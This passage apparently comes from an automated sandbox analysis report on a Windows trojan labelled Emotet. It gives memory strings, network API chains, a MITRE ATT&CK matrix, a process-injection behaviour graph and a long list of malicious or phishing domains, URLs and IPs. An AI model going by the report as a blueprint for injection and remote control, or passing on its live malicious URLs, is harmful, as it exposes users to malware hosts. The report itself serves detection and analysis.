    Source: svchost.exe, 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: svchost.exe, 00000001.00000003.1673282588.0000000000884000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2287019898.0000000000AB0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2287019898.0000000000AB0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2287686891.0000000000B10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2287686891.0000000000B10000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2305463692.00000000026A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2305463692.00000000026A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2304128212.00000000023F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000009.00000002.2304128212.00000000023F0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2302334442.00000000022C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2302334442.00000000022C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2302184126.0000000002260000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2302184126.0000000002260000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000002.2093912488.00000000010A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000002.2093912488.00000000010A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000002.2093710792.0000000001040000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000010.00000002.2093710792.0000000001040000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2105209456.0000000002570000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000013.00000002.2105209456.0000000002570000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2115293020.0000000000E80000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2115293020.0000000000E80000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2118494374.00000000011A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2118494374.00000000011A0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2118722454.0000000001200000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000017.00000002.2118722454.0000000001200000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2132519796.00000000028C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2132519796.00000000028C0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2131001825.00000000024E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000019.00000002.2131001825.00000000024E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2139365340.0000000001470000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2139365340.0000000001470000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2139139931.0000000001410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001B.00000002.2139139931.0000000001410000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000002.2151912439.0000000003160000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000002.2151912439.0000000003160000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000002.2151087320.0000000002FC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001D.00000002.2151087320.0000000002FC0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2163047688.0000000002830000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2163047688.0000000002830000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2163537694.0000000002990000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000001F.00000002.2163537694.0000000002990000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000002.2175595009.00000000022D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000002.2175595009.00000000022D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000002.2179119548.00000000026B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000021.00000002.2179119548.00000000026B0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000002.2179835076.0000000002870000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000002.2179835076.0000000002870000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000002.2179197336.00000000026D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000023.00000002.2179197336.00000000026D0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000002.2230467830.0000000003230000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000002.2230467830.0000000003230000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000002.2197019654.0000000003080000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000025.00000002.2197019654.0000000003080000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2195084905.0000000002580000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2195084905.0000000002580000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2195203697.00000000026E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: RFB 003.006
    Source: OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000027.00000002.2195203697.00000000026E0000.00000040.00000001.00020000.00000000.sdmpString found in binary or memory: $BRFB 003.006
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02721250 htons,socket,setsockopt,closesocket,bind,listen,5_2_02721250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02709E40 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,5_2_02709E40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02720480 setsockopt,htons,socket,setsockopt,bind,5_2_02720480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B41250 htons,socket,setsockopt,closesocket,bind,listen,6_2_00B41250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B40480 setsockopt,htons,socket,setsockopt,bind,6_2_00B40480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B29E40 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,6_2_00B29E40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026D1250 htons,socket,setsockopt,closesocket,bind,listen,9_2_026D1250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026B9E40 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,9_2_026B9E40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026D0480 setsockopt,htons,socket,setsockopt,bind,9_2_026D0480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022F1250 htons,socket,setsockopt,closesocket,bind,listen,13_2_022F1250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022D9E40 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,13_2_022D9E40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022F0480 setsockopt,htons,socket,setsockopt,bind,13_2_022F0480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D1250 htons,socket,setsockopt,closesocket,bind,listen,16_2_010D1250
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010D0480 setsockopt,htons,socket,setsockopt,bind,16_2_010D0480
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010B9E40 WSAStartup,ExitThread,socket,ExitThread,htons,htons,htons,bind,ExitThread,listen,ExitThread,gethostname,gethostbyname,inet_ntoa,accept,accept,getpeername,inet_ntoa,htons,CreateThread,CloseHandle,accept,ExitThread,closesocket,ExitThread,16_2_010B9E40

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire Infrastructure1
    Valid Accounts    		22
    Native API    		1
    DLL Side-Loading    		1
    Abuse Elevation Control Mechanism    		1
    Disable or Modify Tools    		111
    Input Capture    		2
    System Time Discovery    		1
    Remote Desktop Protocol    		1
    Archive Collected Data    		4
    Ingress Tool Transfer    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts2
    Command and Scripting Interpreter    		1
    Create Account    		1
    DLL Side-Loading    		1
    Abuse Elevation Control Mechanism    		LSASS Memory11
    Account Discovery    		Remote Desktop Protocol1
    Screen Capture    		11
    Encrypted Channel    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts1
    Scheduled Task/Job    		1
    Valid Accounts    		1
    Valid Accounts    		1
    Obfuscated Files or Information    		Security Account Manager1
    System Network Connections Discovery    		SMB/Windows Admin Shares111
    Input Capture    		11
    Non-Standard Port    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCron1
    Scheduled Task/Job    		11
    Access Token Manipulation    		31
    Software Packing    		NTDS2
    File and Directory Discovery    		Distributed Component Object Model2
    Clipboard Data    		1
    Remote Access Software    		Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchd1
    Registry Run Keys / Startup Folder    		613
    Process Injection    		1
    DLL Side-Loading    		LSA Secrets143
    System Information Discovery    		SSHKeylogging3
    Non-Application Layer Protocol    		Scheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled Task1
    Bootkit    		1
    Scheduled Task/Job    		322
    Masquerading    		Cached Domain Credentials1
    Query Registry    		VNCGUI Input Capture14
    Application Layer Protocol    		Data Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items1
    Registry Run Keys / Startup Folder    		1
    Valid Accounts    		DCSync351
    Security Software Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job151
    Virtualization/Sandbox Evasion    		Proc Filesystem151
    Virtualization/Sandbox Evasion    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
    Access Token Manipulation    		/etc/passwd and /etc/shadow13
    Process Discovery    		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
    IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron613
    Process Injection    		Network Sniffing11
    Application Window Discovery    		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
    Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
    Bootkit    		Input Capture1
    System Owner/User Discovery    		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1553850 Sample: 1fWgBXPgiT.exe Startdate: 11/11/2024 Architecture: WINDOWS Score: 100 47 vowyzuf.com 2->47 49 vowymom.com 2->49 51 1012 other IPs or domains 2->51 65 Suricata IDS alerts for network traffic 2->65 67 Malicious sample detected (through community Yara rule) 2->67 69 Antivirus detection for URL or domain 2->69 71 19 other signatures 2->71 9 1fWgBXPgiT.exe 2 3 2->9         started        signatures3 process4 file5 35 C:\Windows\apppatch\svchost.exe, PE32 9->35 dropped 37 C:\Windows\...\svchost.exe:Zone.Identifier, ASCII 9->37 dropped 73 Detected unpacking (changes PE section rights) 9->73 75 Detected unpacking (overwrites its own PE header) 9->75 77 Moves itself to temp directory 9->77 79 8 other signatures 9->79 13 svchost.exe 2 113 9->13         started        signatures6 process7 dnsIp8 53 vowydet.com 13->53 55 vofypuf.com 13->55 57 34 other IPs or domains 13->57 81 System process connects to network (likely due to code injection or exploit) 13->81 83 Creates an undocumented autostart registry key 13->83 85 Contains VNC / remote desktop functionality (version string found) 13->85 87 5 other signatures 13->87 17 OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe 26 13->17 injected 21 OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe 13->21 injected 23 OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe 13->23 injected 25 13 other processes 13->25 signatures9 process10 dnsIp11 39 162.255.119.102, 55732, 80 NAMECHEAP-NETUS United States 17->39 41 178.162.203.202, 55729, 60887, 80 LEASEWEB-DE-FRA-10DE Germany 17->41 43 parkingpage.namecheap.com 91.195.240.19, 55743, 80 SEDO-ASDE Germany 17->43 59 Monitors registry run keys for changes 17->59 61 Contains VNC / remote desktop functionality (version string found) 17->61 63 Found direct / indirect Syscall (likely to bypass EDR) 17->63 27 WerFault.exe 17->27         started        45 lygyvar.com 21->45 29 WerFault.exe 23->29         started        31 WerFault.exe 25->31         started        33 WerFault.exe 25->33         started        signatures12 process13

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    1fWgBXPgiT.exe84%ReversingLabsWin32.Trojan.Emotet
    1fWgBXPgiT.exe100%AviraTR/Crypt.XPACK.Gen
    1fWgBXPgiT.exe100%Joe Sandbox ML

    Dropped Files

    ⊘No Antivirus matches

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://puzytap.com/http://qekylag.com/http://pupymyp.com/http://qekylag.com/http://volyrac.com/http:100%Avira URL Cloudmalware
    http://lykywid.com/http://qedyqup.com/P100%Avira URL Cloudmalware
    http://ganydiw.com/http://pupymyp.com/H0%Avira URL Cloudsafe
    http://purycap.com/login.php100%Avira URL Cloudmalware
    http://ganyhab.com/100%Avira URL Cloudmalware
    http://vopycoc.com/login.php100%Avira URL Cloudmalware
    http://qekyryp.com/login.php100%Avira URL Cloudmalware
    http://vojyjyc.com/login.php100%Avira URL Cloudphishing
    http://lyxyvyn.com/login.php100%Avira URL Cloudmalware
    http://qexyryl.com/100%Avira URL Cloudphishing
    http://ganydiw.com/0%Avira URL Cloudsafe
    http://vopyret.com/login.php100%Avira URL Cloudphishing
    http://lysyvax.com/login.php100%Avira URL Cloudmalware
    http://lymygyx.com/100%Avira URL Cloudmalware
    http://lyvysur.com/login.php100%Avira URL Cloudmalware
    http://pumygyp.com/100%Avira URL Cloudmalware
    http://galydyw.com/login.php100%Avira URL Cloudmalware
    http://gaqycow.com/login.php100%Avira URL Cloudmalware
    http://vowypim.com/login.php100%Avira URL Cloudmalware
    http://pufywil.com/http://qeqyfaq.com/http://gatynes.com/http://purygeg.com/100%Avira URL Cloudmalware
    http://qexyvoq.com/login.php100%Avira URL Cloudmalware
    http://gacypyz.com/http://lysyger.com/http://lyvysur.com/http://lysyger.com/http://galyros.com/http:100%Avira URL Cloudmalware
    http://pumydoq.com/100%Avira URL Cloudmalware
    http://qetyhyg.com/login.php100%Avira URL Cloudphishing
    http://lygytyd.com/login.php100%Avira URL Cloudmalware
    http://puzymup.com/login.php100%Avira URL Cloudmalware
    http://pujyteq.com/login.php100%Avira URL Cloudmalware
    http://volydyk.com/100%Avira URL Cloudmalware
    http://vojyduf.com/login.php100%Avira URL Cloudmalware
    http://qedyhyl.com/login.php100%Avira URL Cloudmalware
    http://qegylep.com/http://pufylap.com/8(100%Avira URL Cloudmalware
    http://qekylag.com/H100%Avira URL Cloudmalware
    http://pupycuv.com/login.php100%Avira URL Cloudmalware
    http://vofyzym.com/H100%Avira URL Cloudmalware
    http://lymysox.com/100%Avira URL Cloudmalware
    http://qetykyq.com/login.php100%Avira URL Cloudmalware
    http://vofypuk.com/H100%Avira URL Cloudmalware
    http://lyvynen.com/H100%Avira URL Cloudmalware
    http://vowykaf.com/login.php0%Avira URL Cloudsafe
    http://qetynev.com/login.php0%Avira URL Cloudsafe
    http://pujylog.com/login.php100%Avira URL Cloudmalware
    http://qedyfyq.com/login.php100%Avira URL Cloudmalware
    http://lykygun.com/100%Avira URL Cloudmalware
    http://lyxyxyd.com/http://qeqyfaq.com/http://gaqyfah.com/http://gaqyfah.com/http://gahykih.com/http:100%Avira URL Cloudmalware
    http://puzytap.com/login.php100%Avira URL Cloudmalware
    http://lykyxur.com/100%Avira URL Cloudmalware
    http://qegyval.com/login.php100%Avira URL Cloudmalware
    http://lykygur.com/http://qeqytup.com/http://lykygur.com/100%Avira URL Cloudmalware
    http://lysynaj.com/login.php100%Avira URL Cloudmalware
    http://lygyvuj.com/login.php100%Avira URL Cloudphishing
    http://ww5.galyqaz.com/100%Avira URL Cloudmalware
    http://vopygat.com/login.php100%Avira URL Cloudphishing
    http://galykew.com/0%Avira URL Cloudsafe
    http://lyvynid.com/login.php100%Avira URL Cloudmalware
    https://puzylyp.com/login.php100%Avira URL Cloudmalware
    http://galyhib.com/login.php100%Avira URL Cloudmalware
    http://qeqynel.com/login.phpN100%Avira URL Cloudmalware
    http://ganykaz.com/login.php100%Avira URL Cloudmalware
    http://qeqykog.com/login.php100%Avira URL Cloudphishing
    http://gadydow.com/login.php100%Avira URL Cloudmalware
    http://lygyjuj.com/login.php100%Avira URL Cloudmalware
    http://pumytup.com/login.php100%Avira URL Cloudmalware
    http://vopykum.com/login.php100%Avira URL Cloudmalware
    http://qedyrag.com/login.php100%Avira URL Cloudmalware
    http://qedykiv.com/login.php100%Avira URL Cloudmalware
    http://qexyreg.com/login.php100%Avira URL Cloudmalware
    http://qetyveq.com/login.php100%Avira URL Cloudmalware
    http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-16f3-ae99-53051689f189100%Avira URL Cloudmalware
    http://lysynun.com/login.php100%Avira URL Cloudmalware
    http://qekyqop.com/login.php100%Avira URL Cloudmalware
    http://pupywog.com/login.php100%Avira URL Cloudmalware
    http://lymyxex.com/login.php100%Avira URL Cloudmalware
    http://qedyruv.com/login.php100%Avira URL Cloudmalware
    http://vocyzum.com/login.php100%Avira URL Cloudmalware
    http://volyjif.com/login.php100%Avira URL Cloudmalware
    http://vofydak.com/login.php100%Avira URL Cloudmalware
    http://vonypic.com/login.php100%Avira URL Cloudmalware
